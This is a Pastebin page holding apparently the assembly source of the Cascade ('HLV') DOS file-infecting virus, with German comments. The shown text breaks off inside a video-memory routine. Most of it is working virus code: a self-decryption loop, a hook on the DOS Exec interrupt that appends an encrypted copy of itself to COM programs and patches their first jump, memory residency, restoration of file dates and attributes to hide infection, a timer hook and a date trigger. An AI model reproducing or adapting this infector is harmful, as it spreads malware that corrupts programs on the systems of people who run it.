Advertisement
FlyFar

CASCADE.ASM

Jul 15th, 2023
1,986
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 49.58 KB | Cybersecurity | 0 0
  1. PAGE 62,132
  2. TITLE   _HLV_
  3. SUBTTL  Layout (C) 1990 164A12565AA18213165556D3125C4B962712
  4. .RADIX  16
  5. .LALL
  6.  
  7. TRUE            EQU     1
  8. FALSE           EQU     0
  9.  
  10. MONTH           EQU     9D
  11. YEAR            EQU     1991D
  12.  
  13. DEMO            EQU     FALSE
  14.  
  15. SWITCHABLE      =       TRUE
  16. IFDEF           _NOSWITCH
  17. SWITCHABLE      =       FALSE
  18. ENDIF
  19.  
  20. MSDOS           MACRO                                   ;
  21.             INT     21                      ;
  22.         ENDM                                    ;
  23. Wait_HRI_or_VRI MACRO                                   ;
  24.         LOCAL   _X_1, _X_2, _X_3                ;
  25.         MOV     DX,03DA                         ;
  26.         CLI                                     ;
  27.       _X_1: IN      AL,DX                           ;
  28.         TEST    AL,08                           ;
  29.         JNZ     _X_3                            ;
  30.         TEST    AL,01                           ;
  31.         JNZ     _X_1                            ;
  32.       _X_2: IN      AL,DX                           ;
  33.         TEST    AL,01                           ;
  34.         JZ      _X_2                            ;
  35.       _X_3  LABEL   NEAR                            ;
  36.         ENDM                                    ;------;
  37.  
  38. SAVE            MACRO     _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c  ;
  39.          FOR  _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ;
  40.           IFNB   <_X>                           ;------;
  41.            IFIDN <_X>,<F>                  ;
  42.             PUSHF                           ;
  43.            ELSE                                 ;
  44.             PUSH    _X                      ;
  45.            ENDIF                                ;
  46.           ENDIF                                 ;
  47.          ENDM                                   ;
  48.         ENDM                                    ;------;
  49. REST            MACRO     _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c  ;
  50.          FOR  _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ;
  51.           IFNB   <_X>                           ;------;
  52.            IFIDN <_X>,<F>                  ;
  53.             POPF                            ;
  54.            ELSE                                 ;
  55.             POP     _X                      ;
  56.            ENDIF                                ;
  57.           ENDIF                                 ;
  58.          ENDM                                   ;
  59.         ENDM                                    ;
  60. MOV_S           MACRO   S1,S2                           ;
  61.             PUSH    S2                      ;
  62.             POP     S1                      ;
  63.         ENDM                                    ;
  64.         comment                                 #
  65.                                           ?
  66.     Start des Code-Segments, Segment Prefix Bytes werden  n i c h t  au-    
  67.     tomatisch durch den Assembler erzeugt.                                  
  68.                                        
  69.         #                                       ;
  70. TEXT            SEGMENT                                 ;
  71.         ASSUME  CS:TEXT,DS:TEXT,ES:TEXT,SS:TEXT ;
  72.         comment                                 #
  73.                                           ?
  74.     Einige das Verst ndnis erleichternde Definitionen.                      
  75.                                        
  76.         #                                       ;
  77. NearJmp         EQU     0E9                             ;
  78. PORT_B_8259A    EQU     20                              ;
  79. EOI_8259A       EQU     20                              ;
  80. PORT_B_8255     EQU     61                              ;
  81. FIRSTCONST      EQU     0131                            ;
  82. FIRSTBASE       EQU     FIRSTCONST  - OFFSET XI_001     ;-----;
  83. FIRSTBASE2      EQU     (FIRSTCONST + OFFSET XI_005 - XI_001) ;
  84. DeCrptd         EQU     0                               ;-----;
  85. EnCrptd         EQU     1                               ;
  86. BIOSDATASEG     EQU     040                             ;
  87. MonoBase        EQU     0B000                           ;
  88. ColorBase       EQU     0B800                           ;
  89. B_VIDPAGE       EQU     THIS WORD + 04E                 ;
  90. B_TIMERVAR      EQU     THIS WORD + 06C                 ;
  91. TimerInt        EQU     1C                              ;
  92. DOS             EQU     21                              ;
  93. DOS_multi       EQU     2F                              ;
  94. MS_SetDTA       EQU     1A                              ;
  95.   DTA_in_PSP    EQU     80                              ;
  96. MS_SetInt       EQU     25                              ;
  97. MS_GetDateTime  EQU     2A                              ;
  98. MS_GetVer       EQU     30                              ;
  99.   DOS_v_02      EQU     2                               ;
  100. MS_GetInt       EQU     35                              ;
  101. MS_Open         EQU     3Dh                             ;
  102.   Read_Only     EQU     0                               ;
  103.   Read_Write    EQU     2                               ;
  104. MS_Close        EQU     3E                              ;
  105. MS_Read         EQU     3F                              ;
  106. MS_Write        EQU     40                              ;
  107. MS_MoveFP       EQU     42                              ;
  108.   OfsFrmTop     EQU     0                               ;
  109.   OfsFrmEnd     EQU     02                              ;
  110. MS_GetFileAttr  EQU     4300                            ;
  111. MS_SetFileAttr  EQU     4301                            ;
  112.   Attr_A        EQU     20                              ;
  113.   Attr_SHR      EQU     7                               ;
  114.   Attr_ASHR     EQU     Attr_A OR Attr_SHR              ;
  115. MS_AllocMem     EQU     48                              ;
  116. MS_ReleaseMem   EQU     49                              ;
  117.   MemCBsig      EQU     THIS BYTE + 0                   ;
  118.   MemCBowned    EQU     THIS WORD + 1                   ;
  119.   MemCBsize     EQU     THIS WORD + 3                   ;
  120. MS_Exec         EQU     4Bh                             ;
  121.   MS_Exec_SF0   EQU     0                               ;
  122.   Virus_fun     EQU     0ffh                            ;
  123.   Virus_Sig     EQU     55AA                            ;
  124. MS_SetPSP       EQU     50                              ;
  125.   PSPsize       EQU     00100                           ;
  126.   PSPCurCom     EQU     THIS WORD + 016                 ;
  127.   PSPEnv        EQU     THIS WORD + 02C                 ;
  128.   PSP_SegJFB    EQU     THIS WORD + 036                 ;
  129.   NoEnv         EQU     0                               ;
  130. MS_GetFileDate  EQU     5700                            ;
  131. MS_SetFileDate  EQU     5701                            ;
  132. PSP_100         EQU     THIS WORD + PSPsize             ;
  133. PSP_102         EQU     THIS BYTE + PSPsize + 2         ;
  134.         comment                                 #
  135.                                           ?
  136.     Ab hier wird Objektcode erzeugt, Datenbereich Nr. 1.                    
  137.                                        
  138.         #                                       ;
  139. Crypt1          DB      0                               ;
  140. Crypt2          EQU     OFFSET Crypt1 + FIRSTBASE       ;
  141. Crypt3          EQU     Crypt1 + PSPsize                ;
  142.         comment                                 #
  143.                                           ?
  144.     Einsprungstelle, entschl sseln des Virus falls notwendig.              
  145.                                        
  146.         #                                       ;
  147. XI_000:         CLI                                     ;
  148.         MOV     BP,SP                           ;
  149.         CALL    XI_001                          ;
  150. XI_001:         POP     BX                              ;
  151.         SUB     BX,FIRSTCONST                   ;
  152.         TEST    BYTE PTR CS:[BX+Crypt2],EnCrptd ;
  153.         JZ      XI_003                          ;
  154.         LEA     SI,[BX + XR_000]                ;
  155.         MOV     SP,OFFSET EOFC-OFFSET XI_003    ;
  156. XI_002:         XOR     [SI],SI                         ;
  157.         XOR     [SI],SP                         ;
  158.         INC     SI                              ;
  159.         DEC     SP                              ;
  160.         JNZ     XI_002                          ;
  161. XI_003          LABEL   NEAR                            ;
  162.     XR_000      EQU     OFFSET XI_003 + FIRSTBASE       ;
  163.     XR_001      EQU     XI_003 + PSPsize                ;
  164.         MOV     SP,BP                           ;
  165.         JMP     SHORT XI_004                    ;
  166.         comment                                 #
  167.                                           ?
  168.     Datenbereich 2.                                                        
  169.                                        
  170.         #                                       ;
  171.     XD_000      DW      PSPsize                         ;
  172. Disp_to_com_1   EQU     OFFSET XD_000 + FIRSTBASE       ;
  173.     XD_001      DW      9090                            ;
  174. Disp_to_com_2   EQU     OFFSET XD_001 + FIRSTBASE       ;
  175.     XD_002      DW      9090                            ;
  176. Initial_AX      EQU     OFFSET XD_002 + FIRSTBASE       ;
  177.     XD_003      EQU     THIS WORD                       ;
  178.     XD_004      EQU     THIS BYTE + 2                   ;
  179.         NOP                                     ;
  180.         NOP                                     ;
  181.         NOP                                     ;
  182. Org1stInstr_s1  EQU     OFFSET XD_003 + FIRSTBASE       ;
  183. Org1stInstr_t1  EQU     XD_003 + PSPsize                ;
  184. Org1stInstr_t2  EQU     XD_003 + PSPsize + 1            ;
  185. Org1stInstr_s2  EQU     OFFSET XD_004 + FIRSTBASE       ;
  186.     XD_005      DW      2 dup ( 9090 )                  ;
  187. Org_Int_1C      EQU     XD_005 + PSPsize                ;
  188.     XD_006      DW      2 dup ( 9090 )                  ;
  189. Org_int_21s     EQU     OFFSET XD_006 + FIRSTBASE       ;
  190. Org_Int_21t     EQU     XD_006 + PSPsize                ;
  191.                             ;
  192. IF SWITCHABLE                                           ;
  193.                             ;
  194.     XD_007      DW      2 dup ( 9090 )                  ;
  195. Org_Int_2F      EQU     XD_007 + PSPsize                ;
  196.     XD_008      DB      5, "_HLV_    "                  ;
  197. Cmd_2F          EQU     XD_008 + PSPsize                ;
  198.     XD_009      DB      'HLV is on',0Dh,0Ah,'$'         ;
  199. Msg_On          EQU     XD_009 + PSPsize                ;
  200.     XD_010      DB      'HLV is off',0Dh,0Ah,'$'        ;
  201. Msg_Off         EQU     XD_010 + PSPsize                ;
  202.                             ;
  203. ENDIF                                                   ;
  204.                             ;
  205.     XD_011      DW      9090                            ;
  206. File_Attributes EQU     XD_011 + PSPsize                ;
  207.     XD_012      DW      9090                            ;
  208. File_Date       EQU     XD_012 + PSPsize                ;
  209.     XD_013      DW      9090                            ;
  210. File_Time       EQU     XD_013 + PSPsize                ;
  211.     XD_014      DW      2 dup ( 9090 )                  ;
  212. Pathname        EQU     XD_014 + PSPsize                ;
  213.     XD_015      DW      2 dup ( 9090 )                  ;
  214. File_Size_lsb   EQU     XD_015 + PSPsize                ;
  215. File_Size_msb   EQU     XD_015 + PSPsize + 2            ;
  216.     XD_016      DB      NearJmp                         ;
  217. FirstOpCode_1   EQU     XD_016 + PSPsize                ;
  218.     XD_017      DW      9090                            ;
  219. FirstOpCode_2   EQU     XD_017 + PSPsize                ;
  220.     XD_018      DB      90                              ;
  221. Num_of_Col      EQU     XD_018 + PSPsize                ;
  222.     XD_019      DB      90                              ;
  223. Last_Line       EQU     XD_019 + PSPsize                ;
  224.     XD_020      DB      90                              ;
  225. Prevent_Snow?   EQU     XD_020 + PSPsize                ;
  226. Last_Pair       EQU     THIS WORD + PSPsize             ;
  227.     XD_021      DB      90                              ;
  228.     XD_022      DB      90                              ;
  229. Last_Char       EQU     XD_021 + PSPsize                ;
  230. Last_Attr       EQU     XD_022 + PSPsize                ;
  231. RecTyp1 RECORD  ExtCom:1, Recf_1:1, R_in_1c:1           ;
  232.     XD_023      RecTyp1 <0,0,0>                         ;
  233. ISR_Flags       EQU     XD_023 + PSPsize                ;
  234.     XD_024      DW      9090                            ;
  235. Seg_of_VRAM     EQU     XD_024 + PSPsize                ;
  236.     XD_025      DW      9090                            ;
  237. Page_offset     EQU     XD_025 + PSPsize                ;
  238.     XD_026      DW      9090                            ;
  239. Speed           EQU     XD_026 + PSPsize                ;
  240.     XD_027      DW      9090                            ;
  241. XR_002 EQU      XD_027 + PSPsize                        ;
  242.     XD_028      DW      9090                            ;
  243. XR_003 EQU      XD_028 + PSPsize                        ;
  244.     XD_029      DW      9090                            ;
  245. Num_of_char     EQU     XD_029 + PSPsize                ;
  246.     XD_030      DW      9090                            ;
  247. XR_004 EQU      XD_030 + PSPsize                        ;
  248.     XD_031      DW      7 dup ( 9090 )                  ;
  249. FirstRandom     EQU     XD_031 + PSPsize                ;
  250. LastRandom      EQU     This Word + PSPsize             ;
  251.         DW      9090                            ;
  252.         comment                                 #
  253.                                           ?
  254.     Installieren u. relozieren falls notwendig.                            
  255.                                        
  256.         #                                       ;
  257. XI_004:         CALL    XI_005                          ;
  258. XI_005          LABEL   NEAR                            ;
  259. XR_005          EQU     XI_005 + PSPsize                ;
  260.         POP     BX                              ;
  261.         SUB     BX,FIRSTBASE2                   ;
  262.         MOV     CS:[BX+Disp_to_com_2],CS        ;
  263.         MOV     CS:[BX+Initial_AX],AX           ;
  264.         MOV     AX,CS:[BX+Org1stInstr_s1]       ;
  265.         MOV     [PSP_100],AX                    ;
  266.         MOV     AL,CS:[BX+Org1stInstr_s2]       ;
  267.         MOV     [PSP_102],AL                    ;
  268.         PUSH    BX                              ;
  269.         MOV     AH,MS_GetVer                    ;
  270.         MSDOS                                   ;
  271.         POP     BX                              ;
  272.         CMP     AL,DOS_v_02                     ;
  273.         JB      XI_006                          ;
  274.         MOV     AX,MS_Exec * 100 + Virus_fun    ;
  275.         XOR     DI,DI                           ;
  276.         XOR     SI,SI                           ;
  277.         MSDOS                                   ;
  278.         CMP     DI,Virus_sig                    ;
  279.         JNZ     XI_007                          ;
  280. XI_006:         STI                                     ;
  281.         MOV_S   ES,DS                           ;
  282.         MOV     AX,CS:[BX+Initial_AX]           ;
  283.         JMP     DWORD PTR CS:[BX+Disp_to_com_1] ;
  284. XI_007:         PUSH    BX                              ;
  285.         MOV     AX,MS_GetInt * 100 + DOS        ;
  286.         MSDOS                                   ;
  287.         MOV     AX,BX                           ;
  288.         POP     BX                              ;
  289.         MOV     CS:[BX+Org_int_21s],AX          ;
  290.         MOV     CS:[BX+Org_int_21s + 2],ES      ;------------;
  291.         MOV     AX, (OFFSET EOFC - OFFSET Crypt1) SHR 4 + 11 ;
  292.         MOV     BP,CS                           ;------------;
  293.         DEC     BP                              ;
  294.         MOV     ES,BP                           ;
  295.         MOV     SI,CS:[PSPCurCom]               ;
  296.         MOV     ES:[MemCBowned],SI              ;
  297.         MOV     DX,ES:[MemCBsize]               ;
  298.         MOV     ES:[MemCBsize],AX               ;
  299.         MOV     ES:[MemCBsig],'M'               ;
  300.         SUB     DX,AX                           ;
  301.         DEC     DX                              ;
  302.         INC     BP                              ;
  303.         ADD     BP,AX                           ;
  304.         INC     BP                              ;
  305.         MOV     ES,BP                           ;
  306.         PUSH    BX                              ;
  307.         MOV     AH,MS_SetPSP                    ;
  308.         MOV     BX,BP                           ;
  309.         MSDOS                                   ;
  310.         POP     BX                              ;
  311.         XOR     DI,DI                           ;
  312.         MOV_S   SS,ES                           ;
  313.         PUSH    DI                              ;
  314.         LEA     DI,[BX+XR_010]                  ;
  315.         MOV     SI,DI                           ;
  316.         MOV     CX,OFFSET EOFC                  ;
  317.         STD                                     ;
  318.         REPZ    MOVSB                           ;
  319.         PUSH    ES                              ;
  320.         LEA     CX,[BX+XR_006]                  ;
  321.         PUSH    CX                              ;
  322.         RETF                                    ;
  323. XI_008          LABEL   NEAR                            ;
  324. XR_006          EQU     OFFSET XI_008 + FIRSTBASE       ;
  325.         MOV     CS:[BX+Disp_to_com_2],CS        ;
  326.         LEA     CX,[BX+Crypt2]                  ;
  327.         REPZ    MOVSB                           ;
  328.         MOV     CS:[PSP_SegJFB],CS              ;
  329.         DEC     BP                              ;
  330.         MOV     ES,BP                           ;
  331.         MOV     ES:[MemCBsize],DX               ;
  332.         MOV     ES:[MemCBsig],'Z'               ;
  333.         MOV     ES:[MemCBowned],CS              ;
  334.         INC     BP                              ;
  335.         MOV     ES,BP                           ;
  336.         MOV_S   ES,DS                           ;
  337.         MOV_S   DS,CS                           ;
  338.         LEA     SI,[BX+Crypt2]                  ;
  339.         MOV     DI,PSPsize                      ;
  340.         MOV     CX,OFFSET EOFC                  ;
  341.         CLD                                     ;
  342.         REPZ    MOVSB                           ;
  343.         PUSH    ES                              ;
  344.         LEA     AX,[XR_007]                     ;
  345.         PUSH    AX                              ;
  346.         RETF                                    ;
  347. XI_009          LABEL   NEAR                            ;
  348. XR_007          EQU     XI_009 + PSPsize                ;
  349.         MOV     CS:[PSPEnv],NoEnv               ;
  350.         MOV     CS:[PSPCurCom],CS               ;
  351.         PUSH    DS                              ;
  352.         LEA     DX,[XR_008]                     ;
  353.         MOV_S   DS,CS                           ;
  354.         MOV     AX,MS_SetInt * 100 + DOS        ;
  355.         MSDOS                                   ;
  356.         POP     DS                              ;
  357.         MOV     AH,MS_SetDTA                    ;
  358.         MOV     DX,DTA_in_PSP                   ;
  359.         MSDOS                                   ;
  360.         SAVE    DS,ES,SI,DI,CX                  ;
  361.         MOV_S   ES,CS                           ;
  362.         MOV     CX,BIOSDATASEG                  ;
  363.         MOV     DS,CX                           ;
  364.         MOV     DI,OFFSET FirstRandom           ;
  365.         MOV     SI,OFFSET B_TIMERVAR            ;
  366.         MOV     CL,8                            ;
  367.         CLD                                     ;
  368.         REPZ    MOVSW                           ;
  369.         REST    CX,DI,SI,ES,DS                  ;
  370.                             ;
  371. IF SWITCHABLE                                           ;
  372.                             ;
  373.         PUSH    DS                              ;
  374.         MOV     AX,MS_GetInt * 100 + DOS_multi  ;
  375.         MSDOS                                   ;
  376.         MOV     CS:[Org_Int_2F],BX              ;
  377.         MOV     CS:[Org_Int_2F + 2],ES          ;
  378.         MOV     AX,MS_SetInt * 100 + DOS_multi  ;
  379.         MOV     DX,offset Int_2F_ISR            ;
  380.         MOV_S   DS,CS                           ;
  381.         MSDOS                                   ;
  382.         POP     DS                              ;
  383.                             ;
  384. ENDIF                                                   ;
  385.                             ;
  386.         OR      CS:[ISR_Flags],MASK ExtCom      ;
  387.         MOV     AH,MS_GetDateTime               ;
  388.         MSDOS                                   ;
  389.         CMP     CX,YEAR                         ;
  390.         JZ      XI_010                          ;
  391.         JMP     SHORT XI_011                    ;
  392. XI_010:         CMP     DH,MONTH                        ;
  393.         JB      XI_011                          ;
  394.         AND     CS:[ISR_Flags],NOT MASK ExtCom  ;
  395. XI_011:         MOV     AX,1518                         ;
  396.         CALL    Random                          ;
  397.         INC     AX                              ;
  398.         MOV     CS:[XR_002],AX                  ;
  399.         MOV     CS:[XR_003],AX                  ;
  400.         MOV     CS:[XR_004],1                   ;
  401.         MOV     AX,MS_GetInt * 100 + TimerInt   ;
  402.         MSDOS                                   ;
  403.         MOV     CS:[Org_Int_1C],BX              ;
  404.         MOV     CS:[Org_Int_1C + 2],ES          ;
  405.         PUSH    DS                              ;
  406.         MOV     AX,MS_SetInt * 100 + TimerInt   ;
  407.         MOV     DX,OFFSET XR_009                ;
  408.         MOV_S   DS,CS                           ;
  409.         MSDOS                                   ;
  410.         POP     DS                              ;
  411. XI_012:         MOV     BX,OFFSET XR_005 - (FIRSTBASE2) ;
  412.         JMP     XI_006                          ;
  413.         comment                                 #
  414.                                           ?
  415.     Neue Interrupt 21(h) Behandlungsroutine ( ver ndert Exec - Funktion ).  
  416.                                        
  417.         #                                       ;
  418. XI_013          LABEL   NEAR                            ;
  419. XR_008          EQU     XI_013 + PSPsize                ;
  420.         CMP     AH,MS_Exec                      ;
  421.         JZ      XI_016                          ;
  422. XI_014:         JMP     DWORD PTR CS:[Org_Int_21t]      ;
  423. XI_015:         MOV     DI,Virus_Sig                    ;
  424.         LES     AX,CS:DWORD PTR [Org_Int_21t]   ;
  425.         MOV     DX,CS                           ;
  426.         IRET                                    ;
  427. XI_016:         CMP     AL,Virus_fun                    ;
  428.         JZ      XI_015                          ;
  429.         CMP     AL,MS_Exec_SF0                  ;
  430.         JNZ     XI_014                          ;
  431.         SAVE    F,AX,BX,CX,DX,SI,DI,BP,ES,DS    ;
  432.         MOV     CS:[Pathname],DX                ;
  433.         MOV     CS:[Pathname + 2],DS            ;
  434.         MOV_S   ES,CS                           ;
  435.         MOV     AX,MS_Open * 100 + Read_Only    ;
  436.         MSDOS                                   ;
  437.         JB      XI_018                          ;
  438.         MOV     BX,AX                           ;
  439.         MOV     AX,MS_GetFileDate               ;
  440.         MSDOS                                   ;
  441.         MOV     CS:[File_Date],DX               ;
  442.         MOV     CS:[File_Time],CX               ;
  443.         MOV     AH,MS_Read                      ;
  444.         MOV_S   DS,CS                           ;
  445.         MOV     DX,OFFSET Org1stInstr_t1        ;
  446.         MOV     CX,3                            ;
  447.         MSDOS                                   ;
  448.         JB      XI_018                          ;
  449.         CMP     AX,CX                           ;
  450.         JNZ     XI_018                          ;
  451.         MOV     AX,MS_MoveFP * 100 + OfsFrmEnd  ;
  452.         XOR     CX,CX                           ;
  453.         XOR     DX,DX                           ;
  454.         MSDOS                                   ;
  455.         MOV     CS:[File_Size_lsb],AX           ;
  456.         MOV     CS:[File_Size_msb],DX           ;
  457.         MOV     AH,MS_Close                     ;
  458.         MSDOS                                   ;---------------;
  459.         CMP     CS:[Org1stInstr_t1], 'Z' * 100 + 'M'            ;
  460.         JNZ     XI_017                                          ;
  461.         JMP     XI_025                                          ;
  462. XI_017:         CMP     CS:[File_Size_msb],+0                           ;
  463.         JA      XI_018                                          ;
  464.         CMP     CS:[File_Size_lsb],offset Crypt1-offset EOFC-20 ;
  465.         JBE     XI_019                                          ;
  466. XI_018:         JMP     XI_025                                          ;
  467. XI_019:         CMP     BYTE PTR CS:[Org1stInstr_t1],NearJmp            ;
  468.         JNZ     XI_020                                          ;
  469.         MOV     AX,CS:[File_Size_lsb]                           ;
  470.         ADD     AX,OFFSET Crypt1 - offset EOFC - 2              ;
  471.         CMP     AX,CS:[Org1stInstr_t2]          ;---------------;
  472.         JZ      XI_018                          ;
  473.                             ;
  474. IF DEMO                                                 ;
  475. XI_020:         CALL    DEMO_Infect                     ;
  476.         JMP     XI_025                          ;
  477.                             ;
  478. ELSE                                                    ;
  479. IFDEF   _DANGER                                         ;
  480. XI_020:          MOV     AX,MS_GetFileAttr               ;
  481.         LDS     DX,CS:DWORD PTR [Pathname]      ;
  482.         MSDOS                                   ;
  483.         JB      XI_018                          ;
  484.         MOV     CS:[File_Attributes],CX         ;
  485.         XOR     CL,Attr_A                       ;
  486.         TEST    CL,Attr_ASHR                    ;
  487.         JZ      XI_021                          ;
  488.         MOV     AX,MS_SetFileAttr               ;
  489.         XOR     CX,CX                           ;
  490.         MSDOS                                   ;
  491.         JB      XI_018                          ;
  492. XI_021:         MOV     AX,MS_Open * 100 + Read_Write   ;
  493.         MSDOS                                   ;
  494.         JB      XI_018                          ;
  495.         MOV     BX,AX                           ;
  496.         MOV     AX,MS_MoveFP * 100 + OfsFrmEnd  ;
  497.         XOR     CX,CX                           ;
  498.         XOR     DX,DX                           ;
  499.         MSDOS                                   ;
  500.         CALL    Append_Virus                    ;
  501.         JNB     XI_022                          ;
  502.         MOV     AX,MS_MoveFP * 100 + OfsFrmTop  ;
  503.         MOV     CX,CS:[File_Size_msb]           ;
  504.         MOV     DX,CS:[File_Size_lsb]           ;
  505.         MSDOS                                   ;
  506.         MOV     AH,MS_Write                     ;
  507.         XOR     CX,CX                           ;
  508.         MSDOS                                   ;
  509.         JMP     SHORT XI_023                    ;
  510. XI_022:         MOV     AX,MS_MoveFP * 100 + OfsFrmTop  ;
  511.         XOR     CX,CX                           ;
  512.         XOR     DX,DX                           ;
  513.         MSDOS                                   ;
  514.         JB      XI_023                          ;
  515.         MOV     AX,CS:[File_Size_lsb]           ;
  516.         ADD     AX,-2                           ;
  517.         MOV     CS:[FirstOpCode_2],AX           ;
  518.         MOV     AH,MS_Write                     ;
  519.         MOV     DX,OFFSET FirstOpCode_1         ;
  520.         MOV     CX,3                            ;
  521.         MSDOS                                   ;
  522. XI_023:         MOV     AX,MS_SetFileDate               ;
  523.         MOV     DX,CS:[File_Date]               ;
  524.         MOV     CX,CS:[File_Time]               ;
  525.         MSDOS                                   ;
  526.         MOV     AH,MS_Close                     ;
  527.         MSDOS                                   ;
  528.         MOV     CX,CS:[File_Attributes]         ;
  529.         TEST    CL,Attr_SHR                     ;
  530.         JNZ     XI_024                          ;
  531.         TEST    CL,Attr_A                       ;
  532.         JNZ     XI_025                          ;
  533. XI_024:         MOV     AX,MS_SetFileAttr               ;
  534.         LDS     DX,CS:DWORD PTR [Pathname]      ;
  535.         MSDOS                                   ;
  536. IF2                                                     ;----------------;
  537. %Out                                            ?                        
  538. %Out                                KEIN DEMO,                            
  539. %Out                             scharfer Virus.                          
  540. ENDIF                                                                    ;
  541. ELSE                                                                     ;
  542.         .ERR                                                     ;
  543. ENDIF                                                                    ;
  544. ENDIF                                                                    ;
  545. IF SWITCHABLE                                                            ;
  546. IF2                                                                      ;
  547. %Out                                                       ?            
  548. %Out                  Neuer interner MSDOS Befehl '_HLV_' !              
  549. ENDIF                                                                    ;
  550. ELSE                                                                     ;
  551. IF2                                                                      ;
  552. %Out                                                       ?            
  553. %Out                  Kommando '_HLV_' nicht implementiert.              
  554. ENDIF                                                                    ;
  555. ENDIF                                                                    ;
  556. DISPNUM MACRO   nu,nuxx                                                  ;
  557. %Out                    (Monat - Jahr)       nu  -  nuxx                  
  558. ENDM                                                                     ;
  559. IF2                                                                      ;
  560. %Out                      Bis zum Jahresende aktiv ab:                    
  561. .radix 10                                                                ;
  562. DISPNUM %MONTH,%YEAR                                                     ;
  563. .radix 16                                                                ;
  564. %Out                                                       ?            
  565. endif                                                                    ;
  566. XI_025:         REST    DS,ES,BP,DI,SI,DX,CX,BX,AX,F    ;----------------;
  567.         JMP     XI_014                          ;
  568. IF DEMO                                                 ;
  569.                             ;
  570.         comment                                 #
  571.                                           ?
  572.     Statt APPEND in der DEMO - Version aufgerufene Prozedur.                
  573.                                        
  574.         #                                       ;
  575. DEMO_INFECT     PROC    NEAR                            ;
  576.         push    ax                              ;
  577.         push    cx                              ;
  578.         in      al,61                           ;
  579.         or      al,3                            ;
  580.         out     61,al                           ;
  581.         mov     al,0b6                          ;
  582.         out     43,al                           ;
  583.         mov     cx,0a                           ;
  584. XI_026:         dec     cx                              ;
  585.         jz      XI_030                          ;
  586. XI_027:         mov     ax,200d                         ;
  587. XI_028:         dec     ax                              ;
  588.         cmp     ax,100d                         ;
  589.         jz      XI_031                          ;
  590.         push    ax                              ;
  591.         out     42,al                           ;
  592.         push    cx                              ;
  593.         mov     cx,150d                         ;
  594. XI_029:         nop                                     ;
  595.         loop    XI_029                          ;
  596.         pop     cx                              ;
  597.         mov     al,ah                           ;
  598.         out     42,al                           ;
  599.         pop     ax                              ;
  600.         jmp     XI_028                          ;
  601. XI_030:         in      al,61                           ;
  602.         and     al,0fc                          ;
  603.         out     61,al                           ;
  604.         pop     cx                              ;
  605.         pop     ax                              ;
  606.         ret                                     ;
  607. XI_031:         inc     ax                              ;
  608.         cmp     ax,600d                         ;
  609.         jz      XI_026                          ;
  610.         push    ax                              ;
  611.         out     42,al                           ;
  612.         push    cx                              ;
  613.         mov     cx,150d                         ;
  614. XI_032:         nop                                     ;
  615.         loop    XI_032                          ;
  616.         pop     cx                              ;
  617.         mov     al,ah                           ;
  618.         out     42,al                           ;
  619.         pop     ax                              ;
  620.         jmp     XI_031                          ;
  621. DEMO_INFECT     ENDP                                    ;
  622.                             ;
  623. ELSE                                                    ;
  624.         comment                                 #
  625.                                           ?
  626.     Append Virus - von der Int21ISR aufgerufene Infektions-Prozdur          
  627.                                        
  628.         #                                       ;
  629. Append_Virus    PROC    NEAR                            ;
  630.         SAVE    ES,BX                           ;
  631.         MOV     AH,MS_AllocMem                  ;----------;
  632.         MOV     BX,(OFFSET EOFC - OFFSET Crypt1) SHR 4 + 1 ;
  633.         MSDOS                                   ;----------;
  634.         POP     BX                              ;
  635.         JNB     XI_034                          ;
  636. XI_033:         STC                                     ;
  637.         POP     ES                              ;
  638.         RET                                     ;
  639. XI_034:         MOV     CS:[Crypt3],EnCrptd             ;
  640.         MOV     ES,AX                           ;
  641.         MOV_S   DS,CS                           ;
  642.         XOR     DI,DI                           ;
  643.         MOV     SI,PSPsize                      ;
  644.         MOV     CX,OFFSET EOFC                  ;
  645.         CLD                                     ;
  646.         REPZ    MOVSB                           ;
  647.         MOV     DI,OFFSET XI_003                ;
  648.         MOV     SI,OFFSET XR_001                ;
  649.         ADD     SI,[File_Size_lsb]              ;
  650.         MOV     CX,OFFSET EOFC - OFFSET XI_003  ;
  651. XI_035:         XOR     ES:[DI],SI                      ;
  652.         XOR     ES:[DI],CX                      ;
  653.         INC     DI                              ;
  654.         INC     SI                              ;
  655.         LOOP    XI_035                          ;
  656.         MOV     DS,AX                           ;
  657.         MOV     AH,MS_Write                     ;
  658.         XOR     DX,DX                           ;
  659.         MOV     CX,OFFSET EOFC                  ;
  660.         MSDOS                                   ;
  661.         SAVE    F,AX                            ;
  662.         MOV     AH,MS_ReleaseMem                ;
  663.         MSDOS                                   ;
  664.         REST    AX,F                            ;
  665.         MOV_S   DS,CS                           ;
  666.         JB      XI_033                          ;
  667.         CMP     AX,CX                           ;
  668.         JNZ     XI_033                          ;
  669.         POP     ES                              ;
  670.         CLC                                     ;
  671.         RET                                     ;
  672. Append_Virus    ENDP                                    ;
  673.                             ;
  674. ENDIF                                                   ;
  675.         comment                                 #
  676.                                           ?
  677.     'Zufallszahlen' - Generator.                                            
  678.                                        
  679.         #                                       ;
  680. Random          PROC    NEAR                            ;
  681.         SAVE    DS                              ;
  682.         MOV_S   DS,CS                           ;
  683.         SAVE    BX,CX,DX,AX                     ;
  684.         MOV     CX,7                            ;
  685.         MOV     BX,offset LastRandom            ;
  686.         PUSH    [BX]                            ;
  687. XI_036:         MOV     AX,[BX-02]                      ;
  688.         ADC     [BX],AX                         ;
  689.         DEC     BX                              ;
  690.         DEC     BX                              ;
  691.         LOOP    XI_036                          ;
  692.         POP     AX                              ;
  693.         ADC     [BX],AX                         ;
  694.         MOV     DX,[BX]                         ;
  695.         POP     AX                              ;
  696.         OR      AX,AX                           ;
  697.         JZ      XI_037                          ;
  698.         MUL     DX                              ;
  699. XI_037:         MOV     AX,DX                           ;
  700.         REST    DX,CX,BX,DS                     ;
  701.         RET                                     ;
  702. Random          ENDP                                    ;
  703.         comment                                 #
  704.                                           ?
  705.     Zeichen und Attribut aus Videospeicher auslesen.                        
  706.                                        
  707.         #                                       ;
  708. Load_from_VRAM  PROC    NEAR                            ;
  709.         SAVE    SI,DS,DX                        ;
  710.         MOV     AL,DH                           ;
  711.         MUL     [Num_of_Col]                    ;
  712.         MOV     DH,0                            ;
  713.         ADD     AX,DX                           ;
  714.         SHL     AX,1                            ;
  715.         ADD     AX,[Page_offset]                ;
  716.         MOV     SI,AX                           ;
  717.         TEST    [Prevent_Snow?],-1              ;
  718.         MOV     DS,[Seg_of_VRAM]                ;
